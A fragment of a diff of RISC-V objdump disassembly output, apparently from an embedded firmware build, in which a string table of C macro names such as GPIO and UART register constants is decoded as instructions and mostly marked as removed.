+    5e9c:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    5ea0:	525f 5349 5f45      	0x5f455349525f
+    5ea6:	5049                	c.li	zero,-14
+    5ea8:	3020                	fld	fs0,96(s0)
+    5eaa:	3178                	fld	fa4,224(a0)
+    5eac:	53460043          	fmadd.d	ft0,fa2,fs4,fa0,rne
+    5eb0:	4e59                	li	t3,22
+    5eb2:	465f2043          	fmadd.q	ft0,ft10,ft5,fs0,rdn
+    5eb6:	434e5953          	0x434e5953
     5eba:	5f00                	lw	s0,56(a4)
-    5ebc:	5246                	lw	tp,112(sp)
-    5ebe:	4145                	li	sp,17
-    5ec0:	2044                	fld	fs1,128(s0)
-    5ec2:	7830                	flw	fa2,112(s0)
-    5ec4:	3030                	fld	fa2,96(s0)
-    5ec6:	3130                	fld	fa2,96(a0)
-    5ec8:	5500                	lw	s0,40(a0)
-    5eca:	4e49                	li	t3,18
-    5ecc:	3854                	fld	fa3,176(s0)
-    5ece:	435f 6328 2029      	0x20296328435f
-    5ed4:	5f5f 4955 544e      	0x544e49555f5f
-    5eda:	5f38                	lw	a4,120(a4)
-    5edc:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    5ee0:	5500                	lw	s0,40(a0)
-    5ee2:	4e49                	li	t3,18
-    5ee4:	3354                	fld	fa3,160(a4)
-    5ee6:	5f32                	lw	t5,44(sp)
-    5ee8:	414d                	li	sp,19
-    5eea:	0058                	addi	a4,sp,4
-    5eec:	5f5f 7470 5f72      	0x5f7274705f5f
-    5ef2:	2074                	fld	fa3,192(s0)
-    5ef4:	6f76                	flw	ft10,92(sp)
-    5ef6:	6469                	lui	s0,0x1a
-    5ef8:	2a20                	fld	fs0,80(a2)
-    5efa:	4300                	lw	s0,0(a4)
-    5efc:	4f4c                	lw	a1,28(a4)
-    5efe:	455f4b43          	0x455f4b43
-    5f02:	414e                	lw	sp,208(sp)
-    5f04:	4c42                	lw	s8,16(sp)
-    5f06:	4445                	li	s0,17
-    5f08:	3120                	fld	fs0,96(a0)
-    5f0a:	5f00                	lw	s0,56(a4)
-    5f0c:	6e5f 6565 5f64      	0x5f6465656e5f
-    5f12:	7470                	flw	fa2,108(s0)
-    5f14:	6472                	flw	fs0,28(sp)
-    5f16:	6669                	lui	a2,0x1a
-    5f18:	5f66                	lw	t5,120(sp)
-    5f1a:	2074                	fld	fa3,192(s0)
-    5f1c:	7500                	flw	fs0,40(a0)
-    5f1e:	736e                	flw	ft6,248(sp)
-    5f20:	6769                	lui	a4,0x1a
-    5f22:	656e                	flw	fa0,216(sp)
-    5f24:	0064                	addi	s1,sp,12
-    5f26:	5f5f 5453 4344      	0x434454535f5f
-    5f2c:	485f 534f 4554      	0x4554534f485f
-    5f32:	5f44                	lw	s1,60(a4)
-    5f34:	205f 0030 5f5f      	0x5f5f0030205f
-    5f3a:	414c                	lw	a1,4(a0)
-    5f3c:	4752                	lw	a4,20(sp)
-    5f3e:	4645                	li	a2,17
-    5f40:	4c49                	li	s8,18
-    5f42:	5f45                	li	t5,-15
-    5f44:	4956                	lw	s2,84(sp)
-    5f46:	4c424953          	0x4c424953
-    5f4a:	2045                	jal	5fea <__stack_size+0x57ea>
-    5f4c:	0030                	addi	a2,sp,8
-    5f4e:	5f5f 4955 544e      	0x544e49555f5f
-    5f54:	414d                	li	sp,19
-    5f56:	5f58                	lw	a4,60(a4)
-    5f58:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    5f5c:	6320                	flw	fs0,64(a4)
-    5f5e:	2320                	fld	fs0,64(a4)
-    5f60:	4c552023          	sw	t0,1216(a0) # 194c0 <__stack_size+0x18cc0>
-    5f64:	004c                	addi	a1,sp,4
-    5f66:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    5f6a:	4f5f 5455 5550      	0x555054554f5f
-    5f70:	5f54                	lw	a3,60(a4)
-    5f72:	4f58                	lw	a4,28(a4)
-    5f74:	2052                	fld	ft0,272(sp)
-    5f76:	7830                	flw	fa2,112(s0)
-    5f78:	3034                	fld	fa3,96(s0)
-    5f7a:	5f00                	lw	s0,56(a4)
-    5f7c:	6e5f 6565 5f64      	0x5f6465656e5f
-    5f82:	7470                	flw	fa2,108(s0)
-    5f84:	6472                	flw	fs0,28(sp)
-    5f86:	6669                	lui	a2,0x1a
-    5f88:	5f66                	lw	t5,120(sp)
-    5f8a:	0074                	addi	a3,sp,12
-    5f8c:	535f 5f43 514d      	0x514d5f43535f
-    5f92:	505f 4952 5f4f      	0x5f4f4952505f
-    5f98:	414d                	li	sp,19
-    5f9a:	2058                	fld	fa4,128(s0)
-    5f9c:	3431                	jal	59a8 <__stack_size+0x51a8>
-    5f9e:	5f00                	lw	s0,56(a4)
-    5fa0:	445f 544f 2053      	0x2053544f445f
-    5fa6:	202c                	fld	fa1,64(s0)
-    5fa8:	2e2e                	fld	ft8,200(sp)
-    5faa:	002e                	c.slli	zero,0xb
-    5fac:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    5fb0:	414d                	li	sp,19
-    5fb2:	4352                	lw	t1,20(sp)
-    5fb4:	4948                	lw	a0,20(a0)
-    5fb6:	2044                	fld	fs1,128(s0)
-    5fb8:	3031                	jal	57c4 <__stack_size+0x4fc4>
-    5fba:	5f00                	lw	s0,56(a4)
-    5fbc:	4552                	lw	a0,20(sp)
-    5fbe:	4e45                	li	t3,17
-    5fc0:	5f54                	lw	a3,60(a4)
-    5fc2:	504d                	c.li	zero,-13
-    5fc4:	505f 5335 7028      	0x70285335505f
-    5fca:	7274                	flw	fa3,100(a2)
-    5fcc:	2029                	jal	5fd6 <__stack_size+0x57d6>
-    5fce:	2828                	fld	fa0,80(s0)
-    5fd0:	7470                	flw	fa2,108(s0)
-    5fd2:	2972                	fld	fs2,280(sp)
-    5fd4:	3e2d                	jal	5b0e <__stack_size+0x530e>
-    5fd6:	705f 7335 0029      	0x297335705f
-    5fdc:	5f5f 4e49 3654      	0x36544e495f5f
-    5fe2:	5f34                	lw	a3,120(a4)
-    5fe4:	414d                	li	sp,19
-    5fe6:	5f58                	lw	a4,60(a4)
-    5fe8:	205f 7830 6637      	0x66377830205f
-    5fee:	6666                	flw	fa2,88(sp)
-    5ff0:	6666                	flw	fa2,88(sp)
-    5ff2:	6666                	flw	fa2,88(sp)
-    5ff4:	6666                	flw	fa2,88(sp)
-    5ff6:	6666                	flw	fa2,88(sp)
-    5ff8:	6666                	flw	fa2,88(sp)
-    5ffa:	6666                	flw	fa2,88(sp)
-    5ffc:	4c4c                	lw	a1,28(s0)
-    5ffe:	5f00                	lw	s0,56(a4)
-    6000:	505f4353          	0x505f4353
-    6004:	4952                	lw	s2,20(sp)
-    6006:	5449524f          	0x5449524f
-    600a:	5f59                	li	t5,-10
-    600c:	45484353          	0x45484353
-    6010:	5544                	lw	s1,44(a0)
-    6012:	494c                	lw	a1,20(a0)
-    6014:	474e                	lw	a4,208(sp)
-    6016:	3120                	fld	fs0,96(a0)
-    6018:	3130                	fld	fa2,96(a0)
-    601a:	5f00                	lw	s0,56(a4)
-    601c:	445f 4c42 485f      	0x485f4c42445f
-    6022:	5341                	li	t1,-16
-    6024:	445f 4e45 524f      	0x524f4e45445f
-    602a:	5f4d                	li	t5,-13
-    602c:	205f 0031 5f5f      	0x5f5f0031205f
-    6032:	5441                	li	s0,-16
-    6034:	4946                	lw	s2,80(sp)
-    6036:	454c                	lw	a1,12(a0)
-    6038:	565f 5349 4249      	0x42495349565f
-    603e:	454c                	lw	a1,12(a0)
-    6040:	3120                	fld	fs0,96(a0)
-    6042:	5f00                	lw	s0,56(a4)
-    6044:	465f 544c 3436      	0x3436544c465f
-    604a:	4d5f 5841 315f      	0x315f58414d5f
-    6050:	5f30                	lw	a2,120(a4)
-    6052:	5845                	li	a6,-15
-    6054:	5f50                	lw	a2,60(a4)
-    6056:	205f 3033 0038      	0x383033205f
-    605c:	5f5f 6f63 706d      	0x706d6f635f5f
-    6062:	7261                	lui	tp,0xffff8
-    6064:	665f 5f6e 5f74      	0x5f745f6e665f
-    606a:	6564                	flw	fs1,76(a0)
-    606c:	6966                	flw	fs2,88(sp)
-    606e:	656e                	flw	fa0,216(sp)
-    6070:	2064                	fld	fs1,192(s0)
-    6072:	5f00                	lw	s0,56(a4)
-    6074:	5f4e                	lw	t5,240(sp)
-    6076:	494c                	lw	a1,20(a0)
-    6078:	20535453          	0x20535453
-    607c:	5f003033          	0x5f003033
-    6080:	475f 554e 5f43      	0x5f43554e475f
-    6086:	4156                	lw	sp,84(sp)
-    6088:	4c5f 5349 5f54      	0x5f5453494c5f
-    608e:	504d4f43          	fmadd.s	ft10,fs10,ft4,fa0,rmm
-    6092:	5441                	li	s0,-16
-    6094:	4249                	li	tp,18
-    6096:	4c49                	li	s8,18
-    6098:	5449                	li	s0,-14
-    609a:	2059                	jal	6120 <__stack_size+0x5920>
-    609c:	0031                	c.nop	12
-    609e:	5f5f 5450 4452      	0x445254505f5f
-    60a4:	4649                	li	a2,18
-    60a6:	5f46                	lw	t5,112(sp)
-    60a8:	5954                	lw	a3,52(a0)
-    60aa:	4550                	lw	a2,12(a0)
-    60ac:	5f5f 6920 746e      	0x746e69205f5f
-    60b2:	7000                	flw	fs0,32(s0)
-    60b4:	7475                	lui	s0,0xffffd
-    60b6:	72616863          	bltu	sp,t1,67e6 <__stack_size+0x5fe6>
-    60ba:	755f 6c6e 636f      	0x636f6c6e755f
-    60c0:	2864656b          	0x2864656b
-    60c4:	635f 2029 705f      	0x705f2029635f
-    60ca:	7475                	lui	s0,0xffffd
-    60cc:	72616863          	bltu	sp,t1,67fc <__stack_size+0x5ffc>
-    60d0:	755f 6c6e 636f      	0x636f6c6e755f
-    60d6:	2864656b          	0x2864656b
-    60da:	635f 0029 5f5f      	0x5f5f0029635f
-    60e0:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
-    60e4:	5441                	li	s0,-16
-    60e6:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    60ea:	435f 4148 3152      	0x31524148435f
-    60f0:	5f36                	lw	t5,108(sp)
-    60f2:	5f54                	lw	a3,60(a4)
-    60f4:	4f4c                	lw	a1,28(a4)
-    60f6:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
-    60fa:	4552                	lw	a0,20(sp)
-    60fc:	2045                	jal	619c <__stack_size+0x599c>
-    60fe:	0031                	c.nop	12
-    6100:	5f5f 4c46 3354      	0x33544c465f5f
-    6106:	5832                	lw	a6,44(sp)
-    6108:	485f 5341 445f      	0x445f5341485f
-    610e:	4e45                	li	t3,17
-    6110:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
-    6114:	205f 0031 5f5f      	0x5f5f0031205f
-    611a:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
-    611e:	535f 4454 5f43      	0x5f434454535f
-    6124:	4e49                	li	t3,18
-    6126:	494c                	lw	a1,20(a0)
-    6128:	454e                	lw	a0,208(sp)
-    612a:	5f5f 3120 5f00      	0x5f0031205f5f
-    6130:	435f4353          	0x435f4353
-    6134:	5550                	lw	a2,44(a0)
-    6136:	4954                	lw	a3,20(a0)
-    6138:	454d                	li	a0,19
-    613a:	3620                	fld	fs0,104(a2)
-    613c:	5f530033          	0x5f530033
-    6140:	4649                	li	a2,18
-    6142:	4c42                	lw	s8,16(sp)
-    6144:	495f204b          	fnmsub.s	ft0,ft10,fs5,fs1,rdn
-    6148:	4246                	lw	tp,80(sp)
-    614a:	4b4c                	lw	a1,20(a4)
-    614c:	5500                	lw	s0,40(a0)
-    614e:	4e49                	li	t3,18
-    6150:	3654                	fld	fa3,168(a2)
-    6152:	5f34                	lw	a3,120(a4)
-    6154:	414d                	li	sp,19
-    6156:	0058                	addi	a4,sp,4
-    6158:	535f 5f43 5053      	0x50535f43535f
-    615e:	4441524f          	0x4441524f
-    6162:	4349                	li	t1,18
-    6164:	535f 5245 4556      	0x45565245535f
-    616a:	2052                	fld	ft0,272(sp)
-    616c:	5f003737          	lui	a4,0x5f003
-    6170:	325f4353          	0x325f4353
-    6174:	555f 4550 3120      	0x31204550555f
-    617a:	3032                	fld	ft0,296(sp)
-    617c:	5f00                	lw	s0,56(a4)
-    617e:	675f 6175 6472      	0x64726175675f
-    6184:	6465                	lui	s0,0x19
-    6186:	625f 2879 2978      	0x29782879625f
-    618c:	5f20                	lw	s0,120(a4)
-    618e:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    6194:	6e61                	lui	t3,0x18
-    6196:	6f6e                	flw	ft10,216(sp)
-    6198:	6174                	flw	fa3,68(a0)
-    619a:	6574                	flw	fa3,76(a0)
-    619c:	6728                	flw	fa0,72(a4)
-    619e:	6175                	addi	sp,sp,368
-    61a0:	6472                	flw	fs0,28(sp)
-    61a2:	6465                	lui	s0,0x19
-    61a4:	625f 2879 2978      	0x29782879625f
-    61aa:	0029                	c.nop	10
-    61ac:	535f 5f43 4941      	0x49415f43535f
-    61b2:	414d5f4f          	fnmadd.s	ft10,fs10,fs4,fs0,unknown
-    61b6:	2058                	fld	fa4,128(s0)
-    61b8:	5f003533          	0x5f003533
-    61bc:	455f 5058 524f      	0x524f5058455f
-    61c2:	2054                	fld	fa3,128(s0)
-    61c4:	5f00                	lw	s0,56(a4)
-    61c6:	505f 544d 6128      	0x6128544d505f
-    61cc:	6772                	flw	fa4,28(sp)
-    61ce:	61202973          	csrr	s2,0x612
-    61d2:	6772                	flw	fa4,28(sp)
-    61d4:	4e490073          	0x4e490073
-    61d8:	4d54                	lw	a3,28(a0)
-    61da:	5841                	li	a6,-16
-    61dc:	4d5f 4e49 2820      	0x28204e494d5f
-    61e2:	492d                	li	s2,11
-    61e4:	544e                	lw	s0,240(sp)
-    61e6:	414d                	li	sp,19
-    61e8:	5f58                	lw	a4,60(a4)
-    61ea:	414d                	li	sp,19
-    61ec:	2058                	fld	fa4,128(s0)
-    61ee:	202d                	jal	6218 <__stack_size+0x5a18>
-    61f0:	2931                	jal	660c <__stack_size+0x5e0c>
-    61f2:	5f00                	lw	s0,56(a4)
-    61f4:	6e5f 6f74 7368      	0x73686f746e5f
-    61fa:	5f28                	lw	a0,120(a4)
-    61fc:	2978                	fld	fa4,208(a0)
-    61fe:	5f20                	lw	s0,120(a4)
-    6200:	625f 7773 7061      	0x70617773625f
-    6206:	3631                	jal	5d12 <__stack_size+0x5512>
-    6208:	5f28                	lw	a0,120(a4)
-    620a:	2978                	fld	fa4,208(a0)
-    620c:	6900                	flw	fs0,16(a0)
-    620e:	7172                	flw	ft2,60(sp)
-    6210:	635f 6379 656c      	0x656c6379635f
-    6216:	6d5f 7861 7200      	0x720078616d5f
-    621c:	6765                	lui	a4,0x19
-    621e:	6176                	flw	ft2,92(sp)
-    6220:	006c                	addi	a1,sp,12
-    6222:	4955                	li	s2,21
-    6224:	544e                	lw	s0,240(sp)
-    6226:	465f 5341 3854      	0x38545341465f
-    622c:	4d5f 5841 5f00      	0x5f0058414d5f
-    6232:	575f 4843 5241      	0x52414843575f
-    6238:	575f 4449 4854      	0x48544449575f
-    623e:	5f5f 3320 0032      	0x3233205f5f
-    6244:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    6248:	484d                	li	a6,19
-    624a:	4d50                	lw	a2,28(a0)
-    624c:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
-    6250:	4554                	lw	a3,12(a0)
-    6252:	3452                	fld	fs0,304(sp)
-    6254:	2048                	fld	fa0,128(s0)
-    6256:	3032                	fld	ft0,296(sp)
-    6258:	4d00                	lw	s0,24(a0)
-    625a:	5841                	li	a6,-16
-    625c:	435f 4e41 4e4f      	0x4e4f4e41435f
-    6262:	3220                	fld	fs0,96(a2)
-    6264:	3535                	jal	6090 <__stack_size+0x5890>
-    6266:	5f00                	lw	s0,56(a4)
-    6268:	465f 544c 3436      	0x3436544c465f
-    626e:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    6274:	3220                	fld	fs0,96(a2)
-    6276:	322e                	fld	ft4,232(sp)
-    6278:	3532                	fld	fa0,296(sp)
-    627a:	3730                	fld	fa2,104(a4)
-    627c:	38353833          	0x38353833
-    6280:	3035                	jal	5aac <__stack_size+0x52ac>
-    6282:	31303237          	lui	tp,0x31303
-    6286:	30333833          	0x30333833
-    628a:	3039                	jal	5a98 <__stack_size+0x5298>
-    628c:	3332                	fld	ft6,296(sp)
-    628e:	3732                	fld	fa4,296(sp)
-    6290:	3731                	jal	619c <__stack_size+0x599c>
-    6292:	34323333          	0x34323333
-    6296:	3430                	fld	fa2,104(s0)
-    6298:	3630                	fld	fa2,104(a2)
-    629a:	2d65                	jal	6952 <__stack_size+0x6152>
-    629c:	46383033          	0x46383033
-    62a0:	3436                	fld	fs0,360(sp)
-    62a2:	5f00                	lw	s0,56(a4)
-    62a4:	585f 4953 565f      	0x565f4953585f
-    62aa:	5349                	li	t1,-14
-    62ac:	4249                	li	tp,18
-    62ae:	454c                	lw	a1,12(a0)
-    62b0:	3020                	fld	fs0,96(s0)
-    62b2:	5f00                	lw	s0,56(a4)
-    62b4:	735f 7274 7466      	0x74667274735f
-    62ba:	6d69                	lui	s10,0x1a
-    62bc:	6c65                	lui	s8,0x19
-    62be:	6b69                	lui	s6,0x1a
-    62c0:	2865                	jal	6378 <__stack_size+0x5b78>
-    62c2:	6d66                	flw	fs10,88(sp)
-    62c4:	6174                	flw	fa3,68(a0)
-    62c6:	6772                	flw	fa4,28(sp)
-    62c8:	662c                	flw	fa1,72(a2)
-    62ca:	7269                	lui	tp,0xffffa
-    62cc:	61767473          	csrrci	s0,0x617,12
-    62d0:	6172                	flw	ft2,28(sp)
-    62d2:	6772                	flw	fa4,28(sp)
-    62d4:	2029                	jal	62de <__stack_size+0x5ade>
-    62d6:	5f5f 7461 7274      	0x727474615f5f
-    62dc:	6269                	lui	tp,0x1a
-    62de:	7475                	lui	s0,0xffffd
-    62e0:	5f65                	li	t5,-7
-    62e2:	285f 5f28 665f      	0x665f5f28285f
-    62e8:	616d726f          	jal	tp,dd8fe <__stack_size+0xdd0fe>
-    62ec:	5f74                	lw	a3,124(a4)
-    62ee:	205f 5f28 735f      	0x735f5f28205f
-    62f4:	7274                	flw	fa3,100(a2)
-    62f6:	7466                	flw	fs0,120(sp)
-    62f8:	6d69                	lui	s10,0x1a
-    62fa:	5f65                	li	t5,-7
-    62fc:	2c5f 6620 746d      	0x746d66202c5f
-    6302:	7261                	lui	tp,0xffff8
-    6304:	66202c67          	0x66202c67
-    6308:	7269                	lui	tp,0xffffa
-    630a:	61767473          	csrrci	s0,0x617,12
-    630e:	6172                	flw	ft2,28(sp)
-    6310:	6772                	flw	fa4,28(sp)
-    6312:	2929                	jal	672c <__stack_size+0x5f2c>
-    6314:	0029                	c.nop	10
-    6316:	5f46                	lw	t5,112(sp)
-    6318:	4c55                	li	s8,21
-    631a:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    631e:	0030                	addi	a2,sp,8
-    6320:	5f5f 5450 4452      	0x445254505f5f
-    6326:	4649                	li	a2,18
-    6328:	5f46                	lw	t5,112(sp)
-    632a:	2054                	fld	fa3,128(s0)
-    632c:	5300                	lw	s0,32(a4)
-    632e:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    6332:	4d5f 5841 4600      	0x460058414d5f
-    6338:	5f44                	lw	s1,60(a4)
-    633a:	455a                	lw	a0,148(sp)
-    633c:	4f52                	lw	t5,20(sp)
-    633e:	7028                	flw	fa0,96(s0)
-    6340:	2029                	jal	634a <__stack_size+0x5b4a>
-    6342:	5f28                	lw	a0,120(a4)
-    6344:	655f 7478 6e65      	0x6e657478655f
-    634a:	6e6f6973          	csrrsi	s2,0x6e6,30
-    634e:	5f5f 2820 6f76      	0x6f7628205f5f
-    6354:	6469                	lui	s0,0x1a
-    6356:	2829                	jal	6370 <__stack_size+0x5b70>
-    6358:	6973207b          	0x6973207b
-    635c:	657a                	flw	fa0,156(sp)
-    635e:	745f 5f20 695f      	0x695f5f20745f
-    6364:	6863203b          	0x6863203b
-    6368:	7261                	lui	tp,0xffff8
-    636a:	2a20                	fld	fs0,80(a2)
-    636c:	5f5f 6d74 2070      	0x20706d745f5f
-    6372:	203d                	jal	63a0 <__stack_size+0x5ba0>
-    6374:	6328                	flw	fa0,64(a4)
-    6376:	6168                	flw	fa0,68(a0)
-    6378:	2072                	fld	ft0,280(sp)
-    637a:	292a                	fld	fs2,136(sp)
-    637c:	3b70                	fld	fa2,240(a4)
-    637e:	6620                	flw	fs0,72(a2)
-    6380:	2820726f          	jal	tp,d602 <__stack_size+0xce02>
-    6384:	5f5f 2069 203d      	0x203d20695f5f
-    638a:	3b30                	fld	fa2,112(a4)
-    638c:	5f20                	lw	s0,120(a4)
-    638e:	695f 3c20 7320      	0x73203c20695f
-    6394:	7a69                	lui	s4,0xffffa
-    6396:	6f65                	lui	t5,0x19
-    6398:	2066                	fld	ft0,88(sp)
-    639a:	2a28                	fld	fa0,80(a2)
-    639c:	7028                	flw	fa0,96(s0)
-    639e:	2929                	jal	67b8 <__stack_size+0x5fb8>
-    63a0:	2b2b203b          	0x2b2b203b
-    63a4:	5f5f 2969 2a20      	0x2a2029695f5f
-    63aa:	5f5f 6d74 2b70      	0x2b706d745f5f
-    63b0:	203d202b          	0x203d202b
-    63b4:	3b30                	fld	fa2,112(a4)
-    63b6:	7d20                	flw	fs0,120(a0)
-    63b8:	2929                	jal	67d2 <__stack_size+0x5fd2>
-    63ba:	4500                	lw	s0,8(a0)
-    63bc:	4958                	lw	a4,20(a0)
-    63be:	5f54                	lw	a3,60(a4)
-    63c0:	43435553          	0x43435553
-    63c4:	5345                	li	t1,-15
-    63c6:	00302053          	fadd.s	ft0,ft0,ft3,rdn
-    63ca:	454c                	lw	a1,12(a0)
-    63cc:	5f44                	lw	s1,60(a4)
-    63ce:	204e5247          	fmsub.s	ft4,ft8,ft4,ft4,unknown
-    63d2:	0032                	c.slli	zero,0xc
-    63d4:	4155                	li	sp,21
-    63d6:	5452                	lw	s0,52(sp)
-    63d8:	545f 4658 4649      	0x46494658545f
-    63de:	7830204f          	fnmadd.s	ft0,ft0,ft3,fa5,rdn
-    63e2:	3030                	fld	fa2,96(s0)
-    63e4:	5f00                	lw	s0,56(a4)
-    63e6:	735f 7274 6d66      	0x6d667274735f
-    63ec:	696c6e6f          	jal	t3,cca82 <__stack_size+0xcc282>
-    63f0:	6628656b          	0x6628656b
-    63f4:	746d                	lui	s0,0xffffb
-    63f6:	7261                	lui	tp,0xffff8
-    63f8:	69662c67          	0x69662c67
-    63fc:	7372                	flw	ft6,60(sp)
-    63fe:	7674                	flw	fa3,108(a2)
-    6400:	7261                	lui	tp,0xffff8
-    6402:	7261                	lui	tp,0xffff8
-    6404:	5f202967          	0x5f202967
-    6408:	615f 7474 6972      	0x69727474615f
-    640e:	7562                	flw	fa0,56(sp)
-    6410:	6574                	flw	fa3,76(a0)
-    6412:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    6418:	6f66                	flw	ft10,88(sp)
-    641a:	6d72                	flw	fs10,28(sp)
-    641c:	7461                	lui	s0,0xffff8
-    641e:	5f5f 2820 5f5f      	0x5f5f28205f5f
-    6424:	66727473          	csrrci	s0,0x667,4
-    6428:	6f6d                	lui	t5,0x1b
-    642a:	5f6e                	lw	t5,248(sp)
-    642c:	2c5f 6620 746d      	0x746d66202c5f
-    6432:	7261                	lui	tp,0xffff8
-    6434:	66202c67          	0x66202c67
-    6438:	7269                	lui	tp,0xffffa
-    643a:	61767473          	csrrci	s0,0x617,12
-    643e:	6172                	flw	ft2,28(sp)
-    6440:	6772                	flw	fa4,28(sp)
-    6442:	2929                	jal	685c <__stack_size+0x605c>
-    6444:	0029                	c.nop	10
-    6446:	4e49                	li	t3,18
-    6448:	3354                	fld	fa3,160(a4)
-    644a:	5f32                	lw	t5,44(sp)
-    644c:	494d                	li	s2,19
-    644e:	204e                	fld	ft0,208(sp)
-    6450:	2d28                	fld	fa0,88(a0)
-    6452:	4e49                	li	t3,18
-    6454:	3354                	fld	fa3,160(a4)
-    6456:	5f32                	lw	t5,44(sp)
-    6458:	414d                	li	sp,19
-    645a:	2058                	fld	fa4,128(s0)
-    645c:	202d                	jal	6486 <__stack_size+0x5c86>
-    645e:	2931                	jal	687a <__stack_size+0x607a>
-    6460:	5f00                	lw	s0,56(a4)
-    6462:	4649                	li	a2,18
-    6464:	4e4c                	lw	a1,28(a2)
-    6466:	3130204b          	fnmsub.s	ft0,ft0,fs3,ft6,rdn
-    646a:	3032                	fld	ft0,296(sp)
-    646c:	3030                	fld	fa2,96(s0)
-    646e:	0030                	addi	a2,sp,8
-    6470:	5f5f 444c 4c42      	0x4c42444c5f5f
-    6476:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    647c:	3120                	fld	fs0,96(a0)
-    647e:	312e                	fld	ft2,232(sp)
-    6480:	3938                	fld	fa4,112(a0)
-    6482:	34313337          	lui	t1,0x34313
-    6486:	3539                	jal	6294 <__stack_size+0x5a94>
-    6488:	32373533          	0x32373533
-    648c:	36373133          	0x36373133
-    6490:	3035                	jal	5cbc <__stack_size+0x54bc>
-    6492:	3538                	fld	fa4,104(a0)
-    6494:	33393537          	lui	a0,0x33393
-    6498:	3632                	fld	fa2,296(sp)
-    649a:	3236                	fld	ft4,360(sp)
-    649c:	3038                	fld	fa4,96(s0)
-    649e:	3730                	fld	fa2,104(a4)
-    64a0:	3230                	fld	fa2,96(a2)
-    64a2:	2b65                	jal	6a5a <__stack_size+0x625a>
-    64a4:	3934                	fld	fa3,112(a0)
-    64a6:	004c3233          	sltu	tp,s8,tp
-    64aa:	4955                	li	s2,21
-    64ac:	544e                	lw	s0,240(sp)
-    64ae:	5f38                	lw	a4,120(a4)
-    64b0:	525f0043          	fmadd.d	ft0,ft10,ft5,fa0,rne
-    64b4:	4545                	li	a0,17
-    64b6:	544e                	lw	s0,240(sp)
-    64b8:	575f 5243 4f54      	0x4f545243575f
-    64be:	424d                	li	tp,19
-    64c0:	535f 4154 4554      	0x45544154535f
-    64c6:	7028                	flw	fa0,96(s0)
-    64c8:	7274                	flw	fa3,100(a2)
-    64ca:	2029                	jal	64d4 <__stack_size+0x5cd4>
-    64cc:	2828                	fld	fa0,80(s0)
-    64ce:	7470                	flw	fa2,108(s0)
-    64d0:	2972                	fld	fs2,280(sp)
-    64d2:	3e2d                	jal	600c <__stack_size+0x580c>
-    64d4:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    64da:	6572                	flw	fa0,28(sp)
-    64dc:	6e65                	lui	t3,0x19
-    64de:	2e74                	fld	fa3,216(a2)
-    64e0:	775f 7263 6f74      	0x6f747263775f
-    64e6:	626d                	lui	tp,0x1b
-    64e8:	735f 6174 6574      	0x65746174735f
-    64ee:	0029                	c.nop	10
-    64f0:	766d                	lui	a2,0xffffb
-    64f2:	6e65                	lui	t3,0x19
-    64f4:	6f64                	flw	fs1,92(a4)
-    64f6:	6972                	flw	fs2,28(sp)
-    64f8:	0064                	addi	s1,sp,12
-    64fa:	5f5f 4953 455a      	0x455a49535f5f
-    6500:	545f 0020 5f5f      	0x5f5f0020545f
-    6506:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    650a:	545f3233          	0x545f3233
-    650e:	5059                	c.li	zero,-10
-    6510:	5f45                	li	t5,-15
-    6512:	205f 6f6c 676e      	0x676e6f6c205f
-    6518:	7520                	flw	fs0,104(a0)
-    651a:	736e                	flw	ft6,248(sp)
-    651c:	6769                	lui	a4,0x1a
-    651e:	656e                	flw	fa0,216(sp)
-    6520:	2064                	fld	fs1,192(s0)
-    6522:	6e69                	lui	t3,0x1a
-    6524:	0074                	addi	a3,sp,12
-    6526:	5f474953          	0x5f474953
-    652a:	5441                	li	s0,-16
-    652c:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    6530:	4d5f 4e49 5f20      	0x5f204e494d5f
-    6536:	535f 4749 415f      	0x415f4749535f
-    653c:	4f54                	lw	a3,28(a4)
-    653e:	494d                	li	s2,19
-    6540:	494d5f43          	fmadd.s	ft10,fs10,fs4,fs1,unknown
-    6544:	5f4e                	lw	t5,240(sp)
-    6546:	005f 5f5f 6f4c      	0x6f4c5f5f005f
-    654c:	676e                	flw	fa4,216(sp)
-    654e:	6c20                	flw	fs0,88(s0)
-    6550:	00676e6f          	jal	t3,7c556 <__stack_size+0x7bd56>
-    6554:	5f5f 4347 5f43      	0x5f4343475f5f
-    655a:	5441                	li	s0,-16
-    655c:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    6560:	535f 4f48 5452      	0x54524f48535f
-    6566:	4c5f 434f 5f4b      	0x5f4b434f4c5f
-    656c:	5246                	lw	tp,112(sp)
-    656e:	4545                	li	a0,17
-    6570:	3120                	fld	fs0,96(a0)
-    6572:	6d00                	flw	fs0,24(a0)
-    6574:	7369                	lui	t1,0xffffa
-    6576:	5f61                	li	t5,-8
-    6578:	00727473          	csrrci	s0,0x7,4
-    657c:	475f 4343 4c5f      	0x4c5f4343475f
-    6582:	4d49                	li	s10,18
-    6584:	5449                	li	s0,-14
-    6586:	5f485f53          	0x5f485f53
-    658a:	0020                	addi	s0,sp,8
-    658c:	5f46                	lw	t5,112(sp)
-    658e:	46544547          	fmsub.q	fa0,fs0,ft5,fs0,rmm
-    6592:	2044                	fld	fs1,128(s0)
-    6594:	0031                	c.nop	12
-    6596:	535f 5f43 5341      	0x53415f43535f
-    659c:	4e59                	li	t3,22
-    659e:	4f524843          	fmadd.q	fa6,ft4,fs5,fs1,rmm
-    65a2:	4f4e                	lw	t5,208(sp)
